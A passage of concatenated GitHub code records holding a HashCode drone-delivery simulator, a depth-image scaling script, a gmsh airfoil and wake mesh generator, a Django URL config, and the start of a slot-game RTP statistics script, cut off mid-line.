self.destProducts[0]\n\t\t\t\tdel self.curOrders[0]\n\t\t\t\t#print(\"Current order length %d\" % (len(self.curOrders)))\n\t\t\t\tif len(self.curOrders) > 0:\n\t\t\t\t\tself.dest = self.curOrders[0]\n\t\t\t\t\t#print(\"new destination %s - cur pos %s\" % (self.dest.pos, self.pos))\n\t\t\t\telse:\n\t\t\t\t\tself.dest = None\n\t\t\t\t\tself.destCommand = None\n\t\t\t\t\tself.curOrders = None\n\t\t\t\t#print(\"Busy drone %s\" % (self.busy()))\n\t\t\t\tself.movementTurns = 0\n\t\telse:\n\t\t\tself.movementTurns += 1\n\n\ndef chooseOrder(orderIs, orderObjs, drone):\n\t# Minimum distance\n\tmin_v = sorted(orderIs, key=lambda t: distanceCompare(drone.pos, orderObjs[t].pos))\n\treturn min_v\n\t# Random\n\t#return sample(orderIs, min(20, len(orderIs)))\n\n\ndef simulate(r, c, maxT, maxLoad, products, warehouses, orders, drones):\n\t# Initial params\n\toids_size = 5\n\tincompleteOrders = range(0, len(orders))\n\tglobal score, T, finishedTurnsDistrib, actualOidsSize\n\tscore = 0\n\tT = 0\n\tfinishedTurnsDistrib = []\n\tactualOidsSize = []\n\tOrder.finishedOrders = {}\n\n\ttry:\n\t\twhile T < maxT:\n\t\t\t#print(\"T %d/%d\" % (T, maxT))\n\t\t\tfor drone in drones:\n\t\t\t\tif not drone.busy():\n\t\t\t\t\tif drone.curOrders is not None:\n\t\t\t\t\t\t#print(\"COMMAND DELIVER\")\n\t\t\t\t\t\t# Means we just loaded\n\t\t\t\t\t\tdrone.setDeliver(drone.curOrders, drone.destProducts)\n\t\t\t\t\telse:\n\t\t\t\t\t\tif drone.lastOrder is None:\n\t\t\t\t\t\t\toids = chooseOrder(incompleteOrders, orders, drone)[0:oids_size]\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t# Pick an incomplete order\n\t\t\t\t\t\t\tif len(Order.finishedOrders.keys()) == len(orders):\n\t\t\t\t\t\t\t\traise StopIteration()\n\t\t\t\t\t\t\tif len(incompleteOrders) == 0:\n\t\t\t\t\t\t\t\tdrone.wait()\n\t\t\t\t\t\t\t\tcontinue\n\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\tordered_oid = chooseOrder(incompleteOrders, orders, drone)\n\t\t\t\t\t\t\t\toids = ordered_oid[0:oids_size]\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t# Pick a warehouse with the products\n\t\t\t\t\t\twhouseScores = {}\n\t\t\t\t\t\tfor wi in range(len(warehouses)): whouseScores[wi] = 0\n\t\t\t\t\t\tfor wi, whouse in enumerate(warehouses):\n\t\t\t\t\t\t\twhouseDist = distanceCompare(drone.pos, whouse.pos) + \\\n\t\t\t\t\t\t\t\t\t\t distanceCompare(whouse.pos, orders[oids[0]].pos)\n\t\t\t\t\t\t\tleftWeight = drone.leftWeight()\n\t\t\t\t\t\t\tfor oid in oids:\n\t\t\t\t\t\t\t\tif whouse.hasProducts(orders[oid].futureProducts):\n\t\t\t\t\t\t\t\t\twhouseScores[wi] += 1000000 / whouseDist\n\t\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\t\tmaxAvailProducts = \\\n\t\t\t\t\t\t\t\t\t\twhouse.maxAvailProducts(orders[oid].futureProducts)\n\t\t\t\t\t\t\t\t\tnumAvail = sum(maxAvailProducts.values())\n\t\t\t\t\t\t\t\t\twhouseScores[wi] = numAvail * 1000 / whouseDist\n\t\t\t\t\t\twhouse = warehouses[max(whouseScores, key=whouseScores.get)]\n\t\t\t\t\t\t# Which products to load?\n\t\t\t\t\t\tfinalOids = []\n\t\t\t\t\t\tleftWeight = drone.leftWeight()\n\t\t\t\t\t\tloadProducts = []\n\t\t\t\t\t\tfor oid in oids:\n\t\t\t\t\t\t\tloadPs = whouse.maxAvailProducts(orders[oid].futureProducts)\n\t\t\t\t\t\t\tcanTakeAnything = False\n\t\t\t\t\t\t\tfor pid in loadPs:\n\t\t\t\t\t\t\t\tweightAvail = int(floor(leftWeight / prodObjs[pid].weight))\n\t\t\t\t\t\t\t\t# if weightAvail < loadPs[pid]:\n\t\t\t\t\t\t\t\t# \tprint(\"Not enough load weight\")\n\t\t\t\t\t\t\t\t# else:\n\t\t\t\t\t\t\t\t# \tprint(\"Not enough warehouse capacity\")\n\t\t\t\t\t\t\t\tloadPs[pid] = min(loadPs[pid], weightAvail)\n\t\t\t\t\t\t\t\tif loadPs[pid] > 0: canTakeAnything = True\n\t\t\t\t\t\t\t\tleftWeight -= loadPs[pid] * prodObjs[pid].weight\n\t\t\t\t\t\t\tif canTakeAnything == True:\n\t\t\t\t\t\t\t\tfinalOids.append(oid)\n\t\t\t\t\t\t\t\twhouse.preTakeProducts(loadPs)\n\t\t\t\t\t\t\t\tloadProducts.append(loadPs)\n\t\t\t\t\t\t\tif leftWeight <= 0:\n\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\tif len(finalOids) == 0:\n\t\t\t\t\t\t\tprint(\"HELP\")\n\t\t\t\t\t\t\tfinalOids = [oids[0]]\n\t\t\t\t\t\t\tloadProducts.append({})\n\t\t\t\t\t\tactualOidsSize.append(len(finalOids))\n\t\t\t\t\t\tfinalOrders = [orders[i] for i in finalOids]\n\t\t\t\t\t\t#print(\"Loading orders %s\" % (finalOids))\n\t\t\t\t\t\tdrone.setLoad(whouse, loadProducts, finalOrders)\n\t\t\t\t\t\tfor order in finalOrders:\n\t\t\t\t\t\t\tif order.preFinished():\n\t\t\t\t\t\t\t\t# Ensure we avoid sending drones to deliver the same stuff.\n\t\t\t\t\t\t\t\tfor i, o in enumerate(incompleteOrders):\n\t\t\t\t\t\t\t\t\tif o == order.id:\n\t\t\t\t\t\t\t\t\t\tdel incompleteOrders[i]\n\t\t\t\t\t\t\t\t\t\tbreak\n\n\t\t\t\tdrone.doTurn()\n\t\t\tT += 1\n\texcept StopIteration as e:\n\t\tprint(\"No More Orders at time %d\" % T)\n\tprint(\"SCORE: %d\" % score)\n\treturn score\n\n\ndef parse_input(fname):\n\twith open(fname, 'r') as fh:\n\t\tparams = fh.readline().split(' ')\n\t\tglobal r\n\t\tr = int(params[0])\n\t\tglobal c\n\t\tc = int(params[1])\n\t\tD = int(params[2])\n\t\tglobal maxT\n\t\tmaxT = int(params[3])\n\t\tglobal maxLoad\n\t\tmaxLoad = int(params[4])\n\n\t\tglobal prodObjs\n\t\tprodObjs = {}\n\t\twarehouseObjs = []\n\t\torderObjs = []\n\t\tdroneObjs = []\n\n\t\t# Products\n\t\tpTypes = int(fh.readline())\n\t\tproductTypes = {}\n\t\tprods = fh.readline().split(' ')\n\t\tfor pid in range(len(prods)):\n\t\t\tprodObjs[pid] = Product(pid, int(prods[pid]))\n\n\t\t# Warehouses\n\t\tnWarehouses = int(fh.readline())\n\t\tfor wid in range(nWarehouses):\n\t\t\tpos = fh.readline().split(' ')\n\t\t\tpos = [int(pos[0]), int(pos[1])]\n\t\t\tprodsInW = fh.readline().split(' ')\n\t\t\tproducts = {}\n\t\t\tfor pid in range(len(prodsInW)):\n\t\t\t\tproducts[pid] = int(prodsInW[pid])\n\t\t\twarehouse = Warehouse(wid, pos, products)\n\t\t\twarehouseObjs.append(warehouse)\n\n\t\t# Orders\n\t\tnOrders = int(fh.readline())\n\t\tfor oid in range(nOrders):\n\t\t\tpos = fh.readline().split(' ')\n\t\t\tpos = [int(pos[0]), int(pos[1])]\n\t\t\tnItems = int(fh.readline())\n\t\t\titems = fh.readline().split(' ')\n\t\t\tproducts = {}\n\t\t\tfor spid in items:\n\t\t\t\tpid = int(spid)\n\t\t\t\tif pid in products:\n\t\t\t\t\tproducts[pid] += 1\n\t\t\t\telse:\n\t\t\t\t\tproducts[pid] = 1\n\t\t\torder = Order(oid, pos, products)\n\t\t\torderObjs.append(order)\n\n\t# Drones\n\tfor did in range(D):\n\t\tdroneObjs.append(Drone([0,0]))\n\n\treturn {\n\t\t'products': prodObjs, \n\t\t'warehouses': warehouseObjs, \n\t\t'orders': orderObjs, \n\t\t'drones': droneObjs,\n\t\t'r': r,\n\t\t'c': c,\n\t\t'maxT': maxT,\n\t\t'maxLoad': maxLoad\n\t}\n\n\nif __name__ == \"__main__\":\n\tfnames = [\"mother_of_all_warehouses.in\", \"busy_day.in\", \"redundancy.in\"]\n\tfinalScore = 0\n\tfor fname in fnames:\n\t\tparams = parse_input(\"/home/gmeanti/source/hashcode/qualification_round_2016.in/\" + fname)\n\t\tprint(\"time %d - %dx%d grid - %d products %d drones %d warehouses %d orders\" % \n\t\t\t(params['maxT'], params['r'], params['c'], len(params['products'].keys()), \n\t\t\t len(params['drones']), len(params['warehouses']), len(params['orders'])))\n\n\t\tfinalScore += simulate(**params)\n\t\tfig, ax = plt.subplots()\n\t\tax.hist(finishedTurnsDistrib)\n\t\tax.set_title(\"Finished turns\")\n\t\tax.set_xlabel(\"turn\")\n\t\tax.set_ylabel(\"number of finished orders\")\n\t\tfig, ax = plt.subplots()\n\t\tax.hist(actualOidsSize)\n\tplt.show()\n\tprint(\"FINAL SCORE %d\" % finalScore)\n\n","repo_name":"Giodiro/HashCode","sub_path":"qual2016.py","file_name":"qual2016.py","file_ext":"py","file_size_in_byte":11528,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"16102027219","text":"import numpy as np\nimport cv2\nimport os\n\n#z_near = 0.6\n#z_far = 0.85\nz_near = 0.7\nz_far = 0.8\n\nfilelist = os.listdir('.')\nfor f in filelist[:]: # filelist[:] makes a copy of filelist.\n if f.endswith(\".exr\"):\n a = cv2.imread(f, -cv2.IMREAD_ANYDEPTH)\n a = (a - a.min()) / (a.max() - a.min()) * (z_far - z_near) + z_near\n print(a.max())\n print(a.min())\n a.astype(np.uint16)\n cv2.imwrite(\"scaled_\" + f, a)\n\n","repo_name":"BerkeleyAutomation/Orienting_Novel_3D_Objects","sub_path":"blender/scale_depth.py","file_name":"scale_depth.py","file_ext":"py","file_size_in_byte":448,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"71604438962","text":"from dataclasses import dataclass\nimport sys\nfrom typing import Callable, List\nimport gmsh\nimport numpy as np\nfrom scipy.spatial.transform import Rotation as R\n\n@dataclass\nclass MeshData:\n vertices: np.ndarray\n edges: np.ndarray\n faces: np.ndarray\n facesCenter: np.ndarray\n e1: np.ndarray\n e2: np.ndarray\n e3: np.ndarray\n controlPoints: np.ndarray\n facesAreas: np.ndarray\n facesMaxDistance: np.ndarray\n p1Local: np.ndarray\n p2Local: np.ndarray\n p3Local: np.ndarray\n wake_vertices: np.ndarray = None\n wake_grid: np.ndarray = None\n wake_faces: np.ndarray = None\n\ndef unary(a: np.ndarray) -> np.ndarray:\n \"\"\"Returns a unary vector\"\"\"\n lenght = np.linalg.norm(a)\n if -1e-8 < lenght < 1e-8:\n return np.zeros(len(a))\n \n return a / lenght\n\ndef _find_vertices(vertices: np.ndarray, edges: np.ndarray, faces: np.ndarray, func: Callable[[np.ndarray], bool], pInitial: np.ndarray, pFinal: np.ndarray) -> List[np.ndarray]:\n \"\"\"Find the vertices that are contained in the curve\"\"\"\n\n verticesOut = []\n edgesOut = []\n facesOut = []\n\n # Find the start point tag\n for i in range(len(vertices[:, 0])):\n if (np.allclose(vertices[i, :], pInitial)):\n pTag = i\n verticesOut.append(pTag)\n break\n\n # Loop until the last point is reached\n while True:\n\n # Find edges tags that contain pTag\n edgesTags = np.argwhere((edges[:, 0] == pTag) | (edges[:, 1] == pTag))\n edgesTags = edgesTags.reshape(len(edgesTags))\n\n # Find the correct edge\n d = {\"edges\": [], \"edgesTag\": [], \"dist\": []}\n for i in edgesTags:\n if i not in edgesOut:\n edge = edges[i, :]\n auxTag = edge[0] if edge[0] != pTag else edge[1]\n p = vertices[auxTag, :]\n d[\"edges\"].append(edge)\n d[\"edgesTag\"].append(i)\n d[\"dist\"].append(func(p))\n\n index = d[\"dist\"].index(min(d[\"dist\"]))\n edge = d[\"edges\"][index]\n edgesOut.append(d[\"edgesTag\"][index])\n pNewTag = edge[0] if edge[0] != pTag else edge[1]\n\n # Find the two faces that contain the correct edge\n facesTag = np.argwhere(((faces[:, 0] == pTag) | (faces[:, 1] == pTag) | (faces[:, 2] == pTag)) & ((faces[:, 0] == pNewTag) | (faces[:, 1] == pNewTag) | (faces[:, 2] == pNewTag)))\n\n # Save the vertices, edge and face\n pTag = pNewTag\n verticesOut.append(pNewTag)\n facesOut.append([facesTag[0, 0], facesTag[1, 0]] if facesTag[0, 0] < facesTag[1, 0] else [facesTag[1, 0], facesTag[0, 0]])\n\n # Check if new point is equal pFinal\n if np.allclose(vertices[pNewTag, :], pFinal):\n break\n\n return [np.asarray(verticesOut).astype(int), np.asarray(edgesOut).reshape(len(edgesOut)).astype(int), np.asarray(facesOut).astype(int)]\n\ndef _create_arrays(vertices: np.ndarray, edges: np.ndarray, faces: np.ndarray, facesTags: np.ndarray, edgesTags: np.ndarray, e1Base: np.ndarray, e2Base: np.ndarray, e1U: np.ndarray, e2U: np.ndarray, alignAll: bool = False) -> np.ndarray:\n \n def _wake_array(i: int) -> np.ndarray:\n\n # Edge array\n edge = edges[edgesTags[i], :]\n t = vertices[edge[1], :] - vertices[edge[0], :]\n\n # Normals\n face = faces[facesTags[i, 0], :]\n n1 = np.cross(vertices[face[1], :] - vertices[face[0], :], vertices[face[2], :] - vertices[face[0], :])\n\n face = faces[facesTags[i, 1], :]\n n2 = np.cross(vertices[face[1], :] - vertices[face[0], :], vertices[face[2], :] - vertices[face[0], :])\n\n # Wake array\n w1 = unary(np.cross(t, n1))\n w2 = unary(np.cross(t, n2))\n\n # Correct direction\n w1 = w1 if w1[0] <= 0 else -w1\n w2 = w2 if w2[0] <= 0 else -w2\n\n return unary(w1 + w2)\n \n n = len(facesTags[:, 0])\n arrays = np.zeros((n + 1, 3))\n\n for i in range(n + 1):\n \n if i == 0 or i == n:\n w = _wake_array(0 if i == 0 else n - 1)\n else:\n w = unary(_wake_array(i - 1) + _wake_array(i))\n \n arrays[i, :] = w\n\n return arrays\n\ndef _create_grid_backup(vertices: np.ndarray, verticesTags: np.ndarray, verticesArray: np.ndarray, u: np.ndarray, nWake: int, ds: float, func: Callable[[float], float]) -> List[np.ndarray]:\n \n nSurf = len(verticesTags)\n gridTags = np.zeros((nSurf, nWake))\n gridVertices = np.zeros((int(nSurf * nWake), 3))\n\n count = 0\n for i in range(nSurf):\n\n for j in range(nWake):\n\n if j == 0:\n gridVertices[count, :] = vertices[verticesTags[i], :]\n gridTags[i, j] = count\n else:\n factor = func(ds * j)\n newVertice = gridVertices[count - 1] + ds * unary(factor * verticesArray[i, :] + (1 - factor) * u)\n gridVertices[count, :] = newVertice\n gridTags[i, j] = count\n\n count += 1\n\n return [gridVertices, gridTags.astype(int)]\n\ndef _create_grid(vertices: np.ndarray, verticesTags: np.ndarray, verticesArray: np.ndarray, u: np.ndarray, nWake: int, ds: float, func: Callable[[float], float], wake_lenght: float) -> List[np.ndarray]:\n \n nSurf = len(verticesTags)\n gridTags = np.zeros((nSurf, nWake))\n gridVertices = np.zeros((int(nSurf * nWake), 3))\n\n count = 0\n for i in range(nSurf):\n \n lenght = 0.0\n\n for j in range(nWake):\n\n if j == 0:\n gridVertices[count, :] = vertices[verticesTags[i], :]\n gridTags[i, j] = count\n elif j == nWake - 1:\n newVertice = gridVertices[count - 1] + (wake_lenght - lenght) * unary(u)\n gridVertices[count, :] = newVertice\n gridTags[i, j] = count\n else:\n factor = func(ds * j)\n newVertice = gridVertices[count - 1] + ds * unary(factor * verticesArray[i, :] + (1 - factor) * u)\n gridVertices[count, :] = newVertice\n gridTags[i, j] = count\n \n lenght = lenght + ds\n\n count += 1\n\n return [gridVertices, gridTags.astype(int)]\n\ndef process_foil(foil: np.ndarray, chord: float) -> List[np.ndarray]:\n\n foil = foil * chord\n\n foil[:, 0] = -foil[:, 0]\n foil[:, 0] = foil[:, 0] - 0.5 * (max(foil[:, 0]) + min(foil[:, 0]))\n index = np.argmax(foil[:, 0])\n return [\n foil[0, :], # Trailing point\n foil[index, :], # Leading edge point\n foil[1:index, :], # Upper surface points\n foil[index + 1:-1, :], # Lower surface points\n ]\n\ndef unary(a: np.ndarray):\n\n if a.ndim == 2:\n n = a.shape[0]\n for i in range(n):\n a[i, :] = a[i, :] / np.linalg.norm(a[i, :])\n return a\n\n return a / np.linalg.norm(a)\n\ndef gen_surface_mesh(foil: np.ndarray, span: float, chord: float, cell_size: float, le_ratio: float, te_ratio: float) -> List:\n\n lc = cell_size\n te, le, upper, lower = process_foil(foil, chord)\n n = 200\n coeffs = np.linspace(-1. + 2. / (n - 1), 1. - 2. / (n - 1), num=200)\n\n gmsh.initialize(sys.argv)\n gmsh.model.add(\"model\")\n\n # leading and trailing edge points\n le_e_point = gmsh.model.geo.addPoint(le[0], le[1], -0.5 * span, lc)\n le_d_point = gmsh.model.geo.addPoint(le[0], le[1], 0.5 * span, lc)\n te_e_point = gmsh.model.geo.addPoint(te[0], te[1], -0.5 * span, lc)\n te_d_point = gmsh.model.geo.addPoint(te[0], te[1], 0.5 * span, lc)\n\n # Upper and lower points\n upper_e_points = []\n for i in range(upper.shape[0]):\n upper_e_points.append(gmsh.model.geo.addPoint(upper[i, 0], upper[i, 1], -0.5 * span, lc))\n \n lower_e_points = []\n for i in range(lower.shape[0]):\n lower_e_points.append(gmsh.model.geo.addPoint(lower[i, 0], lower[i, 1], -0.5 * span, lc))\n \n upper_d_points = []\n for i in range(upper.shape[0]):\n upper_d_points.append(gmsh.model.geo.addPoint(upper[i, 0], upper[i, 1], 0.5 * span, lc))\n \n lower_d_points = []\n for i in range(lower.shape[0]):\n lower_d_points.append(gmsh.model.geo.addPoint(lower[i, 0], lower[i, 1], 0.5 * span, lc))\n \n # Curves\n upper_e_curve = gmsh.model.geo.addPolyline([te_e_point] + [upper_e_points[i] for i in range(len(upper_e_points))] + [le_e_point])\n lower_e_curve = gmsh.model.geo.addPolyline([le_e_point] + [lower_e_points[i] for i in range(len(lower_e_points))] + [te_e_point])\n upper_d_curve = gmsh.model.geo.addPolyline([te_d_point] + [upper_d_points[i] for i in range(len(upper_d_points))] + [le_d_point])\n lower_d_curve = gmsh.model.geo.addPolyline([le_d_point] + [lower_d_points[i] for i in range(len(lower_d_points))] + [te_d_point])\n line_te = gmsh.model.geo.addPolyline([te_e_point] + [gmsh.model.geo.addPoint(te[0], te[1], 0.5 * span * coeff, lc) for coeff in coeffs] + [te_d_point])\n line_le = gmsh.model.geo.addPolyline([le_e_point] + [gmsh.model.geo.addPoint(le[0], le[1], 0.5 * span * coeff, lc) for coeff in coeffs] + [le_d_point])\n\n # Curve loop\n upper_cl = gmsh.model.geo.addCurveLoop([line_te, upper_d_curve, -line_le, -upper_e_curve])\n lower_cl = gmsh.model.geo.addCurveLoop([line_le, lower_d_curve, -line_te, -lower_e_curve])\n\n # Surfaces\n gmsh.model.geo.addSurfaceFilling([upper_cl])\n gmsh.model.geo.addSurfaceFilling([lower_cl])\n\n # Refinement\n gmsh.model.mesh.field.add(\"Distance\", 1)\n gmsh.model.mesh.field.setNumbers(1, \"CurvesList\", [line_le])\n gmsh.model.mesh.field.setNumber(1, \"NumPointsPerCurve\", 200)\n\n gmsh.model.mesh.field.add(\"Threshold\", 2)\n gmsh.model.mesh.field.setNumber(2, \"InField\", 1)\n gmsh.model.mesh.field.setNumber(2, \"SizeMin\", le_ratio * lc)\n gmsh.model.mesh.field.setNumber(2, \"SizeMax\", lc)\n gmsh.model.mesh.field.setNumber(2, \"DistMin\", 0.02 * chord)\n gmsh.model.mesh.field.setNumber(2, \"DistMax\", 0.5 * chord)\n\n gmsh.model.mesh.field.add(\"Distance\", 3)\n gmsh.model.mesh.field.setNumbers(3, \"CurvesList\", [line_te])\n gmsh.model.mesh.field.setNumber(3, \"NumPointsPerCurve\", 200)\n\n gmsh.model.mesh.field.add(\"Threshold\", 4)\n gmsh.model.mesh.field.setNumber(4, \"InField\", 3)\n gmsh.model.mesh.field.setNumber(4, \"SizeMin\", te_ratio * lc)\n gmsh.model.mesh.field.setNumber(4, \"SizeMax\", lc)\n gmsh.model.mesh.field.setNumber(4, \"DistMin\", 0.01 * chord)\n gmsh.model.mesh.field.setNumber(4, \"DistMax\", 0.5 * chord)\n\n gmsh.model.mesh.field.add(\"Min\", 5)\n gmsh.model.mesh.field.setNumbers(5, \"FieldsList\", [2, 4])\n\n gmsh.model.mesh.field.setAsBackgroundMesh(5)\n\n gmsh.option.setNumber(\"Mesh.MeshSizeExtendFromBoundary\", 0)\n gmsh.option.setNumber(\"Mesh.MeshSizeFromPoints\", 0)\n gmsh.option.setNumber(\"Mesh.MeshSizeFromCurvature\", 0)\n\n gmsh.model.geo.synchronize()\n gmsh.option.setNumber(\"Mesh.Smoothing\", 100)\n\n gmsh.option.setNumber(\"Mesh.Algorithm\", 5)\n gmsh.model.mesh.generate(2)\n\n # if \"-nopopup\" not in sys.argv:\n # gmsh.fltk.initialize()\n # while gmsh.fltk.isAvailable():\n # gmsh.fltk.wait()\n \n # Convert mesh\n verticesData = gmsh.model.mesh.getNodes()\n verticesArray = verticesData[1].reshape((len(verticesData[0]), 3))\n\n gmsh.model.mesh.createEdges()\n edgesData = gmsh.model.mesh.getAllEdges()\n edgesArray = edgesData[1].reshape((len(edgesData[0]), 2)).astype(int) - 1\n\n gmsh.model.mesh.createFaces()\n facesData = gmsh.model.mesh.getAllFaces(3)\n facesArray = facesData[1].reshape((len(facesData[0]), 3)).astype(int) - 1\n\n # Remove extra vertices\n indexes = -np.ones(verticesArray.shape[0])\n indexes[facesArray[:, 0]] = 1; indexes[facesArray[:, 1]] = 1; indexes[facesArray[:, 2]] = 1\n\n count = 0\n for i in range(verticesArray.shape[0]):\n if indexes[i] == 1:\n indexes[i] = count\n count += 1\n\n for i in range(facesArray.shape[0]):\n facesArray[i, 0] = indexes[facesArray[i, 0]]\n facesArray[i, 1] = indexes[facesArray[i, 1]]\n facesArray[i, 2] = indexes[facesArray[i, 2]]\n \n for i in range(edgesArray.shape[0]):\n edgesArray[i, 0] = indexes[edgesArray[i, 0]]\n edgesArray[i, 1] = indexes[edgesArray[i, 1]]\n \n removeIndexes = np.argwhere(indexes == -1).reshape(-1)\n \n vertices = np.delete(verticesArray, removeIndexes, axis=0)\n edges = edgesArray\n faces = facesArray\n\n # Faces center\n facesCenter = (1 / 3) * (vertices[faces[:, 0], :] + vertices[faces[:, 1], :] + vertices[faces[:, 2], :])\n\n # Base vectors\n e3 = unary(np.cross(vertices[faces[:, 1], :] - vertices[faces[:, 0], :], vertices[faces[:, 2], :] - vertices[faces[:, 0], :]))\n e1 = unary(vertices[faces[:, 1], :] - facesCenter)\n e2 = unary(np.cross(e3, e1))\n \n # Control points\n controlPoints = facesCenter + 1e-8 * e3\n\n # Faces areas\n auxVec = np.cross(vertices[faces[:, 1]] - vertices[faces[:, 0]], vertices[faces[:, 2]] - vertices[faces[:, 0]])\n auxNorm = (auxVec[:, 0] ** 2 + auxVec[:, 1] ** 2 + auxVec[:, 2] ** 2) ** 0.5\n facesAreas = 0.5 * auxNorm\n\n # Faces max distance\n facesMaxDistance = 10 * (4 * facesAreas / np.pi) ** 0.5\n\n p1 = vertices[faces[:, 0], :] - facesCenter\n p2 = vertices[faces[:, 1], :] - facesCenter\n p3 = vertices[faces[:, 2], :] - facesCenter\n\n n = faces.shape[0]\n\n p1Local = np.empty((n, 2), dtype=np.double)\n p2Local = np.empty((n, 2), dtype=np.double)\n p3Local = np.empty((n, 2), dtype=np.double)\n\n p1Local[:, 0], p1Local[:, 1] = (p1 * e1).sum(axis=1), (p1 * e2).sum(axis=1)\n p2Local[:, 0], p2Local[:, 1] = (p2 * e1).sum(axis=1), (p2 * e2).sum(axis=1)\n p3Local[:, 0], p3Local[:, 1] = (p3 * e1).sum(axis=1), (p3 * e2).sum(axis=1)\n\n # Store data\n data = MeshData(\n vertices=vertices,\n edges=edges,\n faces=faces,\n facesCenter=facesCenter,\n e1=e1,\n e2=e2,\n e3=e3,\n controlPoints=controlPoints,\n facesAreas=facesAreas,\n facesMaxDistance=facesMaxDistance,\n p1Local=p1Local,\n p2Local=p2Local,\n p3Local=p3Local,\n )\n\n return [data, te]\n\ndef gen_mesh(foil: np.ndarray, span: float, chord: float, cell_size: float, le_ratio: float, te_ratio: float, alpha: float, wake_lenght: float, wake_accom_dist: float) -> MeshData:\n\n # Surface mesh\n data: MeshData = None\n data, te_point = gen_surface_mesh(foil, span, chord, cell_size, le_ratio, te_ratio)\n\n # Wake mesh\n ds = 5e-2\n nWake = int(wake_accom_dist / ds) + 10\n\n e1 = np.array([1, 0, 0])\n e2 = np.array([0, 1, 0])\n e3 = np.array([0, 0, 1])\n\n x = np.array([-1, 0, 0])\n y = np.array([0, -1, 0])\n z = np.array([0, 0, 1])\n\n if alpha is not None:\n r = R.from_rotvec(-np.deg2rad(alpha) * z)\n x = r.apply(x)\n z = r.apply(z)\n\n p_initial = np.array([te_point[0], te_point[1], - 0.5 * span])\n p_final = np.array([te_point[0], te_point[1], 0.5 * span])\n vec_unary = (p_final - p_initial) / np.linalg.norm(p_final - p_initial)\n\n def contain_point(point: np.ndarray) -> bool:\n \"\"\"Verify if the point is contained by the trailing edge\"\"\"\n vec = (point - p_initial) / np.linalg.norm(point - p_initial)\n angle = np.arccos(np.dot(vec, vec_unary))\n return angle\n \n a = 1e-1 * wake_accom_dist / (1 - 1e-1)\n def func0(x: float) -> float:\n \"\"\"Calculate the multiplication factor of the wake\"\"\"\n return a / (a + x)\n\n vertices_tags, edges_tags, faces_tags = _find_vertices(data.vertices, data.edges, data.faces, contain_point, p_initial, p_final)\n curve_array = _create_arrays(data.vertices, data.edges, data.faces, faces_tags, edges_tags, e1, e3, x, y) \n grid_vertices_list, grid_vertices_tags = _create_grid(data.vertices, vertices_tags, curve_array, x, nWake, ds, func0, wake_lenght)\n\n data.wake_vertices = grid_vertices_list\n data.wake_grid = grid_vertices_tags\n data.wake_faces = faces_tags\n\n return data\n\ndef __test_process_foil() -> None:\n\n import matplotlib.pyplot as plt\n\n foil = np.loadtxt('./foils/NACA0012.dat')\n chord = 0.2\n te, le, upper, lower = process_foil(foil, chord)\n\n plt.figure()\n plt.scatter(te[0], te[1], label='trailing edge')\n plt.scatter(le[0], le[1], label='leading edge')\n plt.scatter(upper[:, 0], upper[:, 1], label='upper')\n plt.scatter(lower[:, 0], lower[:, 1], label='lower')\n plt.grid()\n plt.axis('equal')\n plt.legend()\n plt.show()\n\n return\n\ndef __test_gen_mesh() -> None:\n\n foil = np.loadtxt('./foils/NACA0012.dat')\n chord = 0.2\n span = 0.5\n\n gen_surface_mesh(foil, span, chord)\n\n return\n\nif __name__ == '__main__':\n __test_gen_mesh()","repo_name":"mestrado-ufmg/geo-prototype","sub_path":"validation/utils/mesh.py","file_name":"mesh.py","file_ext":"py","file_size_in_byte":16676,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"42223312642","text":"# -*- coding: utf-8 -*-\n__author__ = \"https://github.com/Biowulf513\"\n__email__ = \"cherepanov92@gmail.com\"\n\nfrom django.conf.urls import url\n\nfrom .views import historical, insider, insider_name, analytics, delta\n\nurlpatterns = [\n\n url(r'^$', historical, name=\"historical\"),\n url(r'^insider$', insider, name=\"insider\"),\n url(r'^insider/(?P[A-Za-z0-9. ]+)$', insider_name, name=\"insider_name\"),\n url(r'^analytics$', analytics, name=\"analytics\"),\n url(r'^delta$', delta, name=\"delta\"),\n]\n\n# http://127.0.0.1:8000/goog/analytics/analytics?date_from=2018-01-22&date_to=2018-01-11","repo_name":"cherepanov92/dot_quest","sub_path":"dot_app/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":604,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"30206665617","text":"import matplotlib.pyplot as plt\nimport requests\nimport random\nimport datetime\nimport json\nimport pandas\nimport codecs\nimport time\nimport pandas as pd\n\n# 下面的参数都是为了绘制RTP走势图用\n# 绘制RTP走势图时,指定的RTP上下限,会绘制两条直线\nRTX_MIN = 0.92\nRTX_MAX = 0.94\n# 坐标轴Y轴显示的起止区域,也就是RTP范围\nAXIS_Y_MIN = 0\nAXIS_Y_MAX = 1.5\nIMAGE_WITH = 1000\nIMAGE_HEIGTH = 1000\n\nGAME10001_EXCEL = r\"C:\\\\u\\\\doc\\\\tmp_echo_asset_20230329_13_45.xlsx\"\n# 通过HTTP请求,获取每一局spin的结果数据,然后统计结果数据。\ndef get_result_from_excel():\n user_list = []\n bet_list = []\n win_list = []\n single_player_result_list = []\n data = pandas.read_excel(GAME10001_EXCEL, names=None)\n # 依次读取第1、2、5列,注意:excel的内容必须与之对应\n user_list = data.values[:, 1].tolist()\n bet_list = data.values[:, 3].tolist()\n win_list = data.values[:, 5].tolist()\n for i in range(len(user_list)):\n single_player_result_list.append([user_list[i], bet_list[i], win_list[i]])\n return single_player_result_list\ndef get_total_RTP(single_player_result_list):\n total_bet_list = []\n total_rtp_list = []\n total_bet = 0\n total_win = 0\n total_rtp = 0.0\n for i in range(len(single_player_result_list)):\n total_bet = total_bet + single_player_result_list[i][1]\n total_win = total_win + single_player_result_list[i][2]\n total_rtp = total_win / total_bet\n total_bet_list.append(total_bet / 100.0)\n total_rtp_list.append(total_rtp)\n return [total_bet_list, total_rtp_list]\n\ndef draw_total_RTP(total_bet_list, total_rtp_list, rtp_min, rtp_max, save_pic):\n plt.figure(figsize=(IMAGE_WITH / 100, IMAGE_HEIGTH / 100))\n plt.title('RTP test data')\n plt.xlabel(\"bet money\")\n 